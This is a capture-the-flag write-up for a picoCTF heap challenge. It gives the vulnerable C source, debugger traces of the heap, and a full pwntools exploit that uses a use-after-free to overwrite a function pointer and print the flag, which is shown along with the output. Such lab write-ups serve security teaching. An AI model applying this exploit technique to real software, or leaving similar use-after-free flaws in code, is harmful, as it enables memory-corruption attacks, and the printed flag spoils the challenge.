Category: Binary Exploitation, 100 points
Check out my new video-game and spaghetti-eating streaming channel on Twixer!
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20
typedef struct {
uintptr_t (*whatToDo)();
char *username;
} cmd;
char choice;
cmd *user;
void hahaexploitgobrrr(){
char buf[FLAG_BUFFER];
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAG_BUFFER,f);
fprintf(stdout,"%s\n",buf);
fflush(stdout);
}
char * getsline(void) {
getchar();
char * line = malloc(100), * linep = line;
size_t lenmax = 100, len = lenmax;
int c;
if(line == NULL)
return NULL;
for(;;) {
c = fgetc(stdin);
if(c == EOF)
break;
if(--len == 0) {
len = lenmax;
char * linen = realloc(linep, lenmax *= 2);
if(linen == NULL) {
free(linep);
return NULL;
}
line = linen + (line - linep);
linep = linen;
}
if((*line++ = c) == '\n')
break;
}
*line = '\0';
return linep;
}
void doProcess(cmd* obj) {
(*obj->whatToDo)();
}
void s(){
printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void p(){
puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}
void m(){
puts("Account created.");
}
void leaveMessage(){
puts("I only read premium member messages but you can ");
puts("try anyways:");
char* msg = (char*)malloc(8);
read(0, msg, 8);
}
void i(){
char response;
puts("You're leaving already(Y/N)?");
scanf(" %c", &response);
if(toupper(response)=='Y'){
puts("Bye!");
free(user);
}else{
puts("Ok. Get premium membership please!");
}
}
void printMenu(){
puts("Welcome to my stream! ^W^");
puts("==========================");
puts("(S)ubscribe to my channel");
puts("(I)nquire about account deletion");
puts("(M)ake an Twixer account");
puts("(P)ay for premium membership");
puts("(l)eave a message(with or without logging in)");
puts("(e)xit");
}
void processInput(){
scanf(" %c", &choice);
choice = toupper(choice);
switch(choice){
case 'S':
if(user){
user->whatToDo = (void*)s;
}else{
puts("Not logged in!");
}
break;
case 'P':
user->whatToDo = (void*)p;
break;
case 'I':
user->whatToDo = (void*)i;
break;
case 'M':
user->whatToDo = (void*)m;
puts("===========================");
puts("Registration: Welcome to Twixer!");
puts("Enter your username: ");
user->username = getsline();
break;
case 'L':
leaveMessage();
break;
case 'E':
exit(0);
default:
puts("Invalid option!");
exit(1);
break;
}
}
int main(){
setbuf(stdout, NULL);
user = (cmd *)malloc(sizeof(user));
while(1){
printMenu();
processInput();
//if(user){
doProcess(user);
//}
}
return 0;
}
A binary file was attached.
This program is a Twitter-clone with some tweet-related functionality.
Reviewing the code, we can see a few things. First, we notice that the program leaks the address of hahaexploitgobrrr
- the function that prints the flag. So we can be sure that we'll want to call it somehow.
We can also see that user
is allocated on the heap, and that we can free user
by calling i()
. Furthermore, due to main()
's implementation, we can still dereference user
even after calling i()
to free it.
The attack is a simple heap exploit. We'll walk through an example using the debugger.
Let's start by checking the heap address that's assigned to user
during main
's initialization:
$eax : 0x0804c1a0 → 0x00000000
$ebx : 0x0804b000 → 0x0804af0c → 0x00000001
$ecx : 0x0
$edx : 0x4
$esp : 0xffffd990 → 0x00000004
$ebp : 0xffffd9a8 → 0x00000000
$esi : 0xf7fb5000 → 0x001e4d6c
$edi : 0xf7fb5000 → 0x001e4d6c
$eip : 0x08048d6f → <main+58> add esp, 0x10
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd990│+0x0000: 0x00000004 ← $esp
0xffffd994│+0x0004: 0x00000000
0xffffd998│+0x0008: 0xffffda6c → 0xffffdbf4 → "LANG=en_IL"
0xffffd99c│+0x000c: 0x08048d49 → <main+20> add ebx, 0x22b7
0xffffd9a0│+0x0010: 0xffffd9c0 → 0x00000001
0xffffd9a4│+0x0014: 0x00000000
0xffffd9a8│+0x0018: 0x00000000 ← $ebp
0xffffd9ac│+0x001c: 0xf7deee46 → <__libc_start_main+262> add esp, 0x10
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048d65 <main+48> sub esp, 0xc
0x8048d68 <main+51> push 0x4
0x8048d6a <main+53> call 0x8048620 <malloc@plt>
→ 0x8048d6f <main+58> add esp, 0x10
0x8048d72 <main+61> mov edx, eax
0x8048d74 <main+63> mov eax, 0x804b060
0x8048d7a <main+69> mov DWORD PTR [eax], edx
0x8048d7c <main+71> call 0x8048b2d <printMenu>
0x8048d81 <main+76> call 0x8048bd5 <processInput>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x8048d6f in main (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048d6f → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef>
The address is saved in eax
: 0x0804c1a0
.
Now, we'll add a breakpoint to i
and request to free the user
buffer:
$eax : 0x0
$ebx : 0x0804b000 → 0x0804af0c → 0x00000001
$ecx : 0x0804c010 → 0x00000001
$edx : 0x0
$esp : 0xffffd950 → 0x0804c1a0 → 0x00000000
$ebp : 0xffffd978 → 0xffffd988 → 0xffffd9a8 → 0x00000000
$esi : 0xf7fb5000 → 0x001e4d6c
$edi : 0xf7fb5000 → 0x001e4d6c
$eip : 0x08048aff → <i+128> add esp, 0x10
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd950│+0x0000: 0x0804c1a0 → 0x00000000 ← $esp
0xffffd954│+0x0004: 0xffffd96b → 0xc0ce0059 ("Y"?)
0xffffd958│+0x0008: 0xf7fb5000 → 0x001e4d6c
0xffffd95c│+0x000c: 0x08048a8b → <i+12> add ebx, 0x2575
0xffffd960│+0x0010: 0xffffd998 → 0xffffd9a8 → 0x00000000
0xffffd964│+0x0014: 0xf7fe9740 → pop edx
0xffffd968│+0x0018: 0x5904b065
0xffffd96c│+0x001c: 0x15c0ce00
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048af3 <i+116> or BYTE PTR [ebx+0xcec8300], cl
0x8048af9 <i+122> push eax
0x8048afa <i+123> call 0x80485d0 <free@plt>
→ 0x8048aff <i+128> add esp, 0x10
0x8048b02 <i+131> jmp 0x8048b16 <i+151>
0x8048b04 <i+133> sub esp, 0xc
0x8048b07 <i+136> lea eax, [ebx-0x2078]
0x8048b0d <i+142> push eax
0x8048b0e <i+143> call 0x8048630 <puts@plt>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x8048aff in i (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048aff → i()
[#1] 0x8048985 → doProcess()
[#2] 0x8048d97 → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef> heap bins
─────────────────────────────────────────────────────────────────────────────────────── Tcachebins for arena 0xf7fb5740 ───────────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=2, size=0x20] count=0 ← Chunk(addr=0x804c1a0, size=0x10, flags=PREV_INUSE)
──────────────────────────────────────────────────────────────────────────────────────── Fastbins for arena 0xf7fb5740 ────────────────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x18] 0x00
Fastbins[idx=2, size=0x20] 0x00
Fastbins[idx=3, size=0x28] 0x00
Fastbins[idx=4, size=0x30] 0x00
Fastbins[idx=5, size=0x38] 0x00
Fastbins[idx=6, size=0x40] 0x00
──────────────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena '*0xf7fb5740' ────────────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
───────────────────────────────────────────────────────────────────────────────────── Small Bins for arena '*0xf7fb5740' ─────────────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
───────────────────────────────────────────────────────────────────────────────────── Large Bins for arena '*0xf7fb5740' ─────────────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef>
Right after the free
in i()
, we can see that our user
buffer was released and added to the tcache
bin.
Now, we'll call leaveMessage
to leave a message:
$eax : 0x0804c1a0 → 0x00000000
$ebx : 0x0804b000 → 0x0804af0c → 0x00000001
$ecx : 0x20
$edx : 0x0
$esp : 0xffffd960 → 0x00000008
$ebp : 0xffffd988 → 0xffffd998 → 0xffffd9a8 → 0x00000000
$esi : 0xf7fb5000 → 0x001e4d6c
$edi : 0xf7fb5000 → 0x001e4d6c
$eip : 0x08048a61 → <leaveMessage+64> add esp, 0x10
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd960│+0x0000: 0x00000008 ← $esp
0xffffd964│+0x0004: 0x08048f7f → 0x00632520 ("%c"?)
0xffffd968│+0x0008: 0xffffd984 → 0x0804b000 → 0x0804af0c → 0x00000001
0xffffd96c│+0x000c: 0x08048a2d → <leaveMessage+12> add ebx, 0x25d3
0xffffd970│+0x0010: 0xf7fb5000 → 0x001e4d6c
0xffffd974│+0x0014: 0xf7fb5000 → 0x001e4d6c
0xffffd978│+0x0018: 0xf7dfd0e5 → <toupper+5> add ecx, 0x1b7f1b
0xffffd97c│+0x001c: 0x08048c15 → <processInput+64> add esp, 0x10
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048a57 <leaveMessage+54> sub esp, 0xc
0x8048a5a <leaveMessage+57> push 0x8
0x8048a5c <leaveMessage+59> call 0x8048620 <malloc@plt>
→ 0x8048a61 <leaveMessage+64> add esp, 0x10
0x8048a64 <leaveMessage+67> mov DWORD PTR [ebp-0xc], eax
0x8048a67 <leaveMessage+70> sub esp, 0x4
0x8048a6a <leaveMessage+73> push 0x8
0x8048a6c <leaveMessage+75> push DWORD PTR [ebp-0xc]
0x8048a6f <leaveMessage+78> push 0x0
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x8048a61 in leaveMessage (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048a61 → leaveMessage()
[#1] 0x8048d07 → processInput()
[#2] 0x8048d86 → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef>
If we stop right after the malloc
, we can see that our 0x0804c1a0
buffer has been re-allocated and it returns as the message buffer. This happens since the current allocation request is for 8 bytes, and we happen to have such a chunk waiting patiently in the Heap Manager's tcache
for an opportunity just like this one: The one previously known as user
. Therefore, instead of creating a new chunk, the Heap Manager chooses to save some overhead and return the chunk from the cache.
We even have the ability to write to it since the function calls read
immediately after. But what should we write?
After returning from leaveMessage
to processInput
and back to the main loop, doProcess(user)
will be called:
void doProcess(cmd* obj) {
(*obj->whatToDo)();
}
So doProcess
will dereference the pointer (which we now control as part of our message) and call the pointer at offset 0 ("whatToDo"
). Therefore, we'd like to make sure that this memory location points to hahaexploitgobrrr
in order to get our flag.
Putting it all together, we have the following exploit:
# First, generate a template using:
# pwn template --host mercury.picoctf.net --port 4593 ./vuln
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
from enum import Enum
class Commands(Enum):
SUBSCRIBE = "S"
DELETE_ACCOUNT = "I"
CREATE_ACCOUNT = "M"
PAY = "P"
LEAVE_MESSAGE = "L"
EXIT = "E"
def send_command(command):
io.recvuntil("(e)xit\n")
io.sendline(command.value)
def subscribe():
log.info("Subscribing")
memleak_line = "OOP! Memory leak..."
send_command(Commands.SUBSCRIBE)
line = io.recvlineS()
if line == "Not logged in!":
return None
elif memleak_line in line:
addr = int(line.replace(memleak_line, "").strip(), 16)
log.info("Leaked address: {}".format(hex(addr)))
io.recvline()
return addr
else:
raise RuntimeError(f"Unexpected output during subscription: {line}")
def delete_account():
log.info("Deleting account")
send_command(Commands.DELETE_ACCOUNT)
io.sendlineafter("You're leaving already(Y/N)?\n", "Y")
io.recvline()
def leave_message(msg):
log.info("Leaving message:\n{}".format(hexdump(msg)))
send_command(Commands.LEAVE_MESSAGE)
io.sendlineafter("try anyways:\n", msg)
def exit():
log.info("Exiting")
send_command(Commands.EXIT)
io = start()
hahaexploitgobrrr_addr = subscribe()
delete_account()
payload = p32(hahaexploitgobrrr_addr) + p32(0)
leave_message(payload)
log.success(io.recvlineS())
exit()
Output:
┌──(user@kali)-[/media/sf_CTFs/pico/Unsubscriptions_Are_Free]
└─$ python3 exploit.py
[*] '/media/sf_CTFs/pico/Unsubscriptions_Are_Free/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to mercury.picoctf.net on port 4593: Done
[*] Subscribing
[*] Leaked address: 0x80487d6
[*] Deleting account
[*] Leaving message:
00000000 d6 87 04 08 00 00 00 00 │····│····│
00000008
[+] picoCTF{d0ubl3_j30p4rdy_ba307b82}
[*] Exiting